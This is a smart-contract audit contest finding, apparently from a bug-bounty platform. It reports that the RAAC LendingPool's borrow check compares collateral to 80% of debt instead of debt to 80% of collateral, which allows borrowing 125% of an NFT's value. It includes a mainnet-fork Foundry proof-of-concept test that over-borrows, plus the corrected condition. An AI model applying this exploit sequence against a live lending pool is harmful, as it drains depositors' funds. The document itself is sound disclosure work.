Core Contracts

Regnum Aurum Acquisition Corp

HardhatReal World AssetsNFT

77,280 USDC

View results

Previous Next

Submission Details

Severity: high

Valid

Users can borrow more crvUSD than the collateral value of a RAACNFT

shuernchua

Summary

Users are able to borrow more crvUSD from the LendingPool than what was needed to mint RAACNFT. This breaks the fundamental principal of collateralized lending.

Vulnerability Details

In the LendingPool, it has a constant where liquidationThreshold is 80 * 1e2 or 8000.
When a user borrows for the first time, his debt is calculated as such:

uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;

Since userScaledDebtBalance is 0 for the first borrow, userTotalDebt == amount.

3. Afterwards, this erroneous following statement is done to check if the user has sufficient collateral. This is the root cause of the problem.

if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {

revert NotEnoughCollateralToBorrow();

}

It incorrectly compares the collateral value to a percentage of the debt, rather than ensuring that the debt does not exceed a percentage of the collateral value.

Suppose collateralValue is 1_000_000e18 and liquidationThreshold is 8000, max borrowable amount can be expressed by 1_000_000e18 / 0.8 = 1_250_000e18

Impact

Lending Pool lends out more than it receives in collateral value, leading to insolvency.

Tools Used

Manual Review

PoC

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "forge-std/Test.sol";

import {IERC20, ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "@openzeppelin/contracts/utils/math/SafeCast.sol";

import "../../contracts/libraries/math/PercentageMath.sol";

import "../../contracts/libraries/math/WadRayMath.sol";

import {BaseSetup} from "./BaseSetup.t.sol";

import "../../contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";

contract TestBorrow is BaseSetup {

using WadRayMath for uint256;

using PercentageMath for uint256;

using SafeCast for uint256;

using SafeERC20 for IERC20;

// IERC20 baseUSDC = IERC20(address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913));

// address baseUSDCWhale = address(0x20FE51A9229EEf2cF8Ad9E89d91CAb9312cF3b7A);

IERC20 mainnetUSDC = IERC20(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48));

address mainnetUsdcCurveUSDVault = address(0x7cA00559B978CFde81297849be6151d3ccB408A9);

address curveUSDWhale = address(0x4e59541306910aD6dC1daC0AC9dFB29bD9F15c67);

address newUser = makeAddr("new user");

address newUser2 = makeAddr("new user2");

address newUser3 = makeAddr("new user3");

address newUser4 = makeAddr("new user4");

function setUp() public override {

string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");

uint256 mainnetFork = vm.createFork(MAINNET_RPC_URL, 19614507);

vm.selectFork(mainnetFork);

super.setUp();

vm.startPrank(owner);

lendingPool.setParameter(ILendingPool.OwnerParameter.LiquidationThreshold, 8000); // 80%

lendingPool.setParameter(ILendingPool.OwnerParameter.HealthFactorLiquidationThreshold, 1e18); // 1.0e18

lendingPool.setParameter(ILendingPool.OwnerParameter.LiquidationGracePeriod, 3 days);

lendingPool.setParameter(ILendingPool.OwnerParameter.LiquidityBufferRatio, 2000); // 20%

lendingPool.setParameter(ILendingPool.OwnerParameter.WithdrawalStatus, 0); // Allow withdrawals

lendingPool.setParameter(ILendingPool.OwnerParameter.CanPaybackDebt, 1); // Enable payback

// house is 1000 with 18 decimals, same as crvUSD

uint256 housePrice = 1_000_000e18;

housePrices.setHousePrice(1, housePrice);

housePrices.setHousePrice(2, housePrice);

housePrices.setHousePrice(3, housePrice);

housePrices.setHousePrice(4, housePrice);

housePrices.setHousePrice(5, housePrice);

housePrices.setHousePrice(6, housePrice);

housePrices.setHousePrice(7, housePrice);

housePrices.setHousePrice(8, housePrice);

vm.stopPrank();

vm.startPrank(curveUSDWhale);

crvUSD.transfer(newUser, 15_000_000e18);

crvUSD.transfer(newUser2, 1_000_000e18); // newUser2 has 1M crvUSD

crvUSD.transfer(newUser3, 5_000_000e18);

crvUSD.transfer(newUser4, 5_000_000e18);

vm.stopPrank();

}

function test_borrowMoreThanCollateral() public {

// Step 1. Have newUser deposit some crvUSD into the LendingPool

vm.startPrank(newUser);

crvUSD.approve(address(lendingPool), type(uint256).max);

lendingPool.deposit(10_000_000e18);

vm.stopPrank();

// Step 2. Have newUser2 mint an NFT

vm.startPrank(newUser2);

uint256 originalCrvBal = crvUSD.balanceOf(newUser2);

crvUSD.approve(address(raacNFT), type(uint256).max);

raacNFT.mint(1, 1_000_000e18);

// Step 3. Have newUser depositNFT

raacNFT.approve(address(lendingPool),1);

lendingPool.depositNFT(1);

// Step 4. Have newUser borrow maximum amount of crvUSD he can get for his nft

lendingPool.borrow(1_250_000e18);

// Step 5. Assert that his crvUSD balance is greater than before he minted

uint256 newCrvBal = crvUSD.balanceOf(newUser2);

assertGt(newCrvBal,originalCrvBal);

}

With this foundry BaseSetup:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "forge-std/Test.sol";

// OpenZeppelin Imports

// import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";

// Primitives Import

import {RAACHousePrices} from "../../contracts/core/primitives/RAACHousePrices.sol";

// Token Imports

import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";

import {DEToken} from "../../contracts/core/tokens/DEToken.sol";

import {IndexToken} from "../../contracts/core/tokens/IndexToken.sol";

import {LPToken} from "../../contracts/core/tokens/LPToken.sol";

import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";

import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";

import {RToken} from "../../contracts/core/tokens/RToken.sol";

import {veRAACToken} from "../../contracts/core/tokens/veRAACToken.sol";

// Collector Imports

import {Treasury} from "../../contracts/core/collectors/Treasury.sol";

import {FeeCollector} from "../../contracts/core/collectors/FeeCollector.sol";

// Governance Imports

import {Governance} from "../../contracts/core/governance/proposals/Governance.sol";

import {TimelockController} from "../../contracts/core/governance/proposals/TimelockController.sol";

// Gauge Imports

import {BaseGauge} from "../../contracts/core/governance/gauges/BaseGauge.sol";

import {GaugeController} from "../../contracts/core/governance/gauges/GaugeController.sol";

import {RAACGauge} from "../../contracts/core/governance/gauges/RAACGauge.sol";

import {RWAGauge} from "../../contracts/core/governance/gauges/RWAGauge.sol";

// Boost Import

import {BoostController} from "../../contracts/core/governance/boost/BoostController.sol";

// Minter Imports

import {RAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";

import {RAACReleaseOrchestrator} from "../../contracts/core/minters/RAACReleaseOrchestrator/RAACReleaseOrchestrator.sol";

// Oracle Imports

import {BaseChainlinkFunctionsOracle} from "../../contracts/core/oracles/BaseChainlinkFunctionsOracle.sol";

import {RAACHousePriceOracle} from "../../contracts/core/oracles/RAACHousePriceOracle.sol";

import {RAACPrimeRateOracle} from "../../contracts/core/oracles/RAACPrimeRateOracle.sol";

// Pool Imports

import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";

import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";

import {MarketCreator} from "../../contracts/core/pools/StabilityPool/MarketCreator.sol";

import {NFTLiquidator} from "../../contracts/core/pools/StabilityPool/NFTLiquidator.sol";

contract BaseSetup is Test {

IERC20 baseUSDC = IERC20(address(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913));

address baseUSDCWhale = address(0x20FE51A9229EEf2cF8Ad9E89d91CAb9312cF3b7A);

// Collectors

Treasury treasury;

Treasury repairFund;

FeeCollector feeCollector;

// Tokens

IERC20 crvUSD = IERC20(address(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E)); // main

IERC20 basecrvUSD = IERC20(address(0x417Ac0e078398C154EdFadD9Ef675d30Be60Af93)); // base

RAACToken raacToken;

veRAACToken veRaacToken;

RAACNFT raacNFT;

RToken rToken;

DebtToken debtToken;

DEToken deToken;

address mainnetChainlinkRouter = address(0x65Dcc24F8ff9e51F10DCc7Ed1e4e2A61e6E14bd6);

//m Orchestatro

RAACReleaseOrchestrator raacReleaseOrchestrator;

RAACHousePrices housePrices;

LendingPool lendingPool;

StabilityPool stabilityPool;

RAACMinter minter;

// Governance

Governance public governance;

TimelockController public timelockController;

BoostController public boostController;

GaugeController public gaugeController;

RAACGauge public raacGauge;

RWAGauge public rwaGauge;

address owner;

address user1;

address user2;

address user3;

function setUp() public virtual {

owner = makeAddr("owner");

user1 = makeAddr("user1");

user2 = makeAddr("user2");

user3 = makeAddr("user3");

vm.startPrank(owner);

// collectors

// Setup Tokens

raacToken = new RAACToken(owner, 100, 50);

veRaacToken = new veRAACToken(address(raacToken));

// veRAACToken

// RAACNFT

// DeToken

// Setup contracts

raacReleaseOrchestrator = new RAACReleaseOrchestrator(address(raacToken));

housePrices = new RAACHousePrices(owner);

housePrices.setOracle(owner);

raacNFT = new RAACNFT(address(crvUSD), address(housePrices), owner);

rToken = new RToken("RToken", "RT", owner, address(crvUSD));

debtToken = new DebtToken("DebtToken", "DT", owner);

lendingPool = new LendingPool(

address(crvUSD), address(rToken), address(debtToken), address(raacNFT), address(housePrices), 0.1e27

);

console.log("lendingPool:", address(lendingPool));

treasury = new Treasury(owner);

repairFund = new Treasury(owner);

deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));

stabilityPool = new StabilityPool(owner);

minter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner); // should be owner

feeCollector =

new FeeCollector(address(raacToken), address(veRaacToken), address(treasury), address(repairFund), owner);

raacToken.setFeeCollector(address(feeCollector));

raacToken.manageWhitelist(address(feeCollector), true);

raacToken.manageWhitelist(address(veRaacToken), true);

raacToken.manageWhitelist(owner, true);

raacToken.setMinter(address(owner));

raacToken.mint(user2, 1000e18);

raacToken.mint(user3, 1000e18);

feeCollector.grantRole(feeCollector.FEE_MANAGER_ROLE(), owner);

feeCollector.grantRole(feeCollector.EMERGENCY_ROLE(), owner);

feeCollector.grantRole(feeCollector.DISTRIBUTOR_ROLE(), owner);

rToken.setReservePool(address(lendingPool));

debtToken.setReservePool(address(lendingPool));

deToken.setStabilityPool(address(stabilityPool));

raacToken.setMinter(address(minter));

raacToken.transferOwnership(address(minter));

rToken.transferOwnership(address(lendingPool));

debtToken.transferOwnership(address(lendingPool));

stabilityPool.initialize(

address(rToken),

address(deToken),

address(raacToken),

address(minter),

address(crvUSD),

address(lendingPool)

);

lendingPool.setStabilityPool(address(stabilityPool));

// Governance Components

// Timelock controller

address[] memory proposers = new address[](1);

proposers[0] = owner;

address[] memory executors = new address[](1);

executors[0] = owner;

timelockController = new TimelockController(2 days, proposers, executors, owner);

// Governance

governance = new Governance(address(veRaacToken), address(timelockController));

timelockController.grantRole(timelockController.PROPOSER_ROLE(), address(governance));

timelockController.grantRole(timelockController.EXECUTOR_ROLE(), address(governance));

timelockController.grantRole(timelockController.CANCELLER_ROLE(), address(governance));

//Gauge

gaugeController = new GaugeController(address(veRaacToken));

boostController = new BoostController(address(veRaacToken));

vm.stopPrank();

}

Recommendations

- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {

+ if (userTotalDebt > collateralValue.percentMul(liquidationThreshold)) {

revert NotEnoughCollateralToBorrow();

}

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago

Submission Judgement Published

Validated

Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt0.8 instead of collateral0.8 > debt, allowing 125% borrowing vs intended 80%

Prize pool breakdown

Total prize

77,280 USDC

nSLOC

3,864

20 USDC / LOC

High Medium

74,000

Low

3,280

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!

Core Contracts

Users can borrow more crvUSD than the collateral value of a RAACNFT

Summary

Vulnerability Details

Impact

Tools Used

PoC

Recommendations

Lead Judging Commences

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Prize pool breakdown

Live

Judging

Appeals

Appeals Review

Rewards Distribution

FAQs

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt0.8 instead of collateral0.8 > debt, allowing 125% borrowing vs intended 80%